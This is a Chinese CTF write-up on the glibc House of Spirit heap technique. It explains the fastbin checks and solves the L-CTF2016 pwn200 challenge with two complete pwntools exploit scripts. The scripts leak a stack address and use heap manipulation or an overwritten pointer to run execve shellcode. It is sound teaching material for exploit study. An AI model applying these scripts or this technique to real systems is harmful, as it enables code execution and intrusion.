Pwn Ptmalloc2 House of Spirit
精灵的家!
原理
如未特殊说明, 均假定 libc 2.23, 64 位.
House of Spirit 是一种任意位置分配的手段, 需要配合能够产生 free(addr) (addr 是任意地址) 的漏洞. 再 malloc 时, 就能够获得这部分的 fake chunk 了.
free 关于 fastbin 的安全检查
同样还是只看有关部分.
首先看无论放入哪里都有的检查:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
...
// 检查地址的合法性, 地址不能大于 -size. 这个一般不用考虑, 地址太大的地方是 kernel, 本来就无法访问到
// 地址必须对齐. 64 位下是 16 位对齐
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
{
errstr = "free(): invalid pointer";
errout:
if (!have_lock && locked)
(void) mutex_unlock (&av->mutex);
malloc_printerr (check_action, errstr, chunk2mem (p), av);
return;
}
// size 不可能比 MINSIZE 小, 64 位下是 0x20, 0x10 的 header 和 fd, bk.
// size (已经去除了标志位) 也要对齐, 即是 0x10 的整数倍.
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
{
errstr = "free(): invalid size";
goto errout;
}
...
}
然后看 fastbin 的. 去掉了锁相关部分.
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
...
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
// chunk_at_offset (p, size) 是下一个 chunk.
// 下一个 chunk 的 size 要大于 2 * SIZE_SZ (64 位下是 0x10)
// 下一个 chunk 的 size 还要小于 system_mem (一般是 0x21000)
// malloc 时, 大于 0x21000 时会调用 mmap. 所以这里有个检查
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
...
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
mchunkptr old = *fb, old2;
unsigned int old_idx = ~0u;
do
{
// double free 检测
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
// 确保放入前的头对应的 fastbin 下标 old_idx 与 新加入的对应的 idx 下标相同
// 这个一般都是相同的. 攻击的时候也不会用到.
if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0))
{
errstr = "invalid fastbin entry (free)";
goto errout;
}
}
}
所以, 除了常规的地址合法性检查, fastbin 的 free 中主要就两个检查:
- next chunk size 要在合理范围内
- 不能连续两次 free 同一个地址
那对 House of Spirit 来说, 就需要注意, fake chunk 的 next chunk 的 size 位置需要布置. 同时 fake chunk 不能是 fastbin 的头节点. 一般来说, 第二个条件不会考虑. 因为都能再 free 头节点了, 那其实可以利用 double free.
总结一下, 想要 free 这个 fake chunk, 只需要考虑 地址对齐 和 布置 next chunk size.
malloc 关于 fastbin 的检查
来看看 malloc 取 fastbin 时有什么检查:
static void *
_int_malloc (mstate av, size_t bytes)
{
...
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
!= victim);
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
...
}
}
...
}
可以看到, 只检查了拿出来的 chunk size 和 之前计算得到的 idx 是否匹配. 在执行 malloc 的过程中, 这些东西一般不会变 (当然一些奇奇怪怪的攻击除外). 所以, 我们暂且认为, 只要 fastbin 中有元素, 就能够 malloc 取到.
小总结
House of Spirit 的核心就是, 在一个地址对齐的地方, 伪造一个合适的 fastbin chunk, 同时伪造 next chunk 的 size 在合理范围内. 然后 free(addr), 再 malloc 伪造的 fake chunk size, 就可以分配到 addr 了.
学习资料
例题
L-CTF2016 pwn200
L team yyds!
64 位 ELF, 保护全关, 乐.
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
Init();
mainmain();
return 0LL;
}
Init 是 IO 初始化.
mainmain:
void __fastcall mainmain()
{
__int64 i; // [rsp+10h] [rbp-40h]
char buf[48]; // [rsp+20h] [rbp-30h] BYREF
puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &buf[i], 1uLL);
if ( buf[i] == '\n' )
{
buf[i] = 0;
break;
}
}
printf("%s, welcome to ISCC~ \n", buf);
puts("give me your id ~~?");
readint();
mainmainmain();
}
这里有漏洞. 当输入不以 \0
结尾且填满 buf, 那么会泄漏出栈上某个值. 调试一下, 能够发现泄漏出来的是栈地址.
readint 没洞, 不放了. 继续往下:
mainmainmain():
void __fastcall mainmainmain()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
char *dest; // [rsp+38h] [rbp-8h]
dest = (char *)malloc(64uLL);
puts("give me money~");
read(0, buf, 64uLL);
strcpy(dest, buf);
ptr = dest;
mainmainmainmain();
}
这里有一个栈溢出漏洞. 但是溢出只能覆盖到 dest, 不能覆盖到返回地址.
ptr 是全局变量, 后续会有 ptr = dest, 所以我们可以通过溢出控制 ptr.
mainmainmainmain:
void __fastcall pwn()
{
int op; // eax
while ( 1 )
{
while ( 1 )
{
menu();
op = readint();
if ( op != 2 )
break;
check_out();
}
if ( op == 3 )
break;
if ( op == 1 )
check_in();
else
puts("invalid choice");
}
puts("good bye~");
}
check_out:
void check_out()
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = 0LL;
}
else
{
puts("havn't check in");
}
}
check_in:
int check_in()
{
int len; // [rsp+Ch] [rbp-4h]
if ( ptr )
return puts("already check in");
puts("how long?");
len = readint();
if ( len <= 0 || len > 128 )
return puts("invalid length");
ptr = (char *)malloc(len);
printf("give me more money : ");
printf("\n%d\n", (unsigned int)len);
read(0, ptr, (unsigned int)len);
return puts("in~");
}
可以看到, check_out 是 free, check_in 是 malloc. 上面我们控制了 ptr 的值, 那么就可以 House of Spirit 了.
栈上的 buf 是可以写的, 那考虑把 fake chunk 设置在 buf 上. 这样 malloc 到了栈上以后, 就可以写 shellcode 并覆盖返回地址, 调到 shellcode 处执行 (没开栈不可执行).
具体构造如下:
首先, 需要将 dest 覆盖为 buf 的某个位置, 比如 buf[48] (&dest - 0x8) (这里需要调试, 找到对齐的地址), 所以在 buf[56] 的位置需要填入 &dest - 0x8. 考虑到下面有 strcpy(dest, buf)
, 所以将 buf 第一个字节设为 \0
, 保证 dest 不被重新覆盖. 这样执行完后, ptr 就指向了 &dest - 0x8 了. 然后考虑绕过 fastbin 的检测. 首先需要设置 fake chunk 的 size 在 fastbin 之内, 那么应该在 ptr - 0x8 的地方写入该值. 还要考虑 next chunk size. 由于我们无法写入到 next chunk size. 这时, 我们可以从栈上找一找.
调试一下程序, 找到 &dest - 0x8 的位置:

可以看到, 0x7fff72b93780, 这个位置, 非常适合伪造 next chunk. 因为 0x7fff72b93788 位置的值不大不小, 在可以绕过 next chunk size 检测的范围之内. 多次调试, 验证这个位置的值不会改变.
所以可以计算出来, fake chunk size 应该为 0x40. 正好也在 fastbin 范围内.
buf 中间部分还有可以利用的空间, 在其中写上 shellcode.
然后 free(ptr), malloc(0x30), 就会分配到 &dest - 0x8 的位置. check_in 中可以向 fake chunk 写入数据, 于是将返回地址覆盖到事先写好的 shellcode 处即可.
exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
procname = './pwn200'
io = process(procname)
# io = remote('node4.buuoj.cn', 26861)
elf = ELF(procname)
# libc = ELF('./libc.so.6')
def n2b(x):
return str(x).encode()
def main():
# pause()
io.sendafter(b'who are u?\n', b'a' * 48)
io.recvuntil(b'a' * 48)
leak_stack = u64(io.recv(6).ljust(8, b'\x00'))
success(f'leak stack: {hex(leak_stack)}')
io.sendafter(b'give me your id ~~?', b'1' * 4)
rbp = leak_stack - 0x80
dest = rbp - 0x08
buf = rbp - 0x40
success(f'leak dest: {hex(dest)}')
ptr = dest - 0x8
pause()
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload_ptr = (p64(0) + shellcode).ljust(0x28, b'\x00') + p64(0x41) + p64(0) + p64(ptr)
pause()
io.sendafter(b'give me money~\n', payload_ptr)
io.sendlineafter(b'choice : ', b'2')
io.sendlineafter(b'choice : ', b'1')
io.sendlineafter(b'how long?\n', b'48')
payload_ra = p64(0) * 3 + p64(buf + 0x8)
io.sendafter(b'48\n', payload_ra)
io.sendlineafter(b'choice : ', b'3')
io.interactive()
if __name__ == '__main__':
main()
实际上这个题也可以不用 House of Spirit. 既然 dest 可以被覆盖, 且有 strcpy(dest, buf)
. 那么其实可以将 dest 覆盖为栈上的某个位置, 如返回地址处. 这样其实就可以进行 ret2shellcode 了. (比 House of Spirit 简单, 不用找栈上的数据来进行伪造)
exp:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
procname = './pwn200'
io = process(procname)
# io = remote()
elf = ELF(procname)
# libc = ELF('./libc.so.6')
def n2b(x):
return str(x).encode()
def main():
io.sendafter(b'who are u?\n', b'a' * 48)
io.recvuntil(b'a' * 48)
leak_stack = u64(io.recv(6).ljust(8, b'\x00'))
success(f'leak stack: {hex(leak_stack)}')
io.sendafter(b'give me your id ~~?', b'1' * 4)
rbp = leak_stack - 0x80
dest = rbp - 0x08
buf = rbp - 0x40
success(f'leak dest: {hex(dest)}')
shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload = (p64(buf+8) + shellcode).ljust(56, b'\x00') + p64(rbp+8)
io.sendafter(b'give me money~\n', payload)
io.sendlineafter(b'choice : ', b'3')
io.interactive()
if __name__ == '__main__':
main()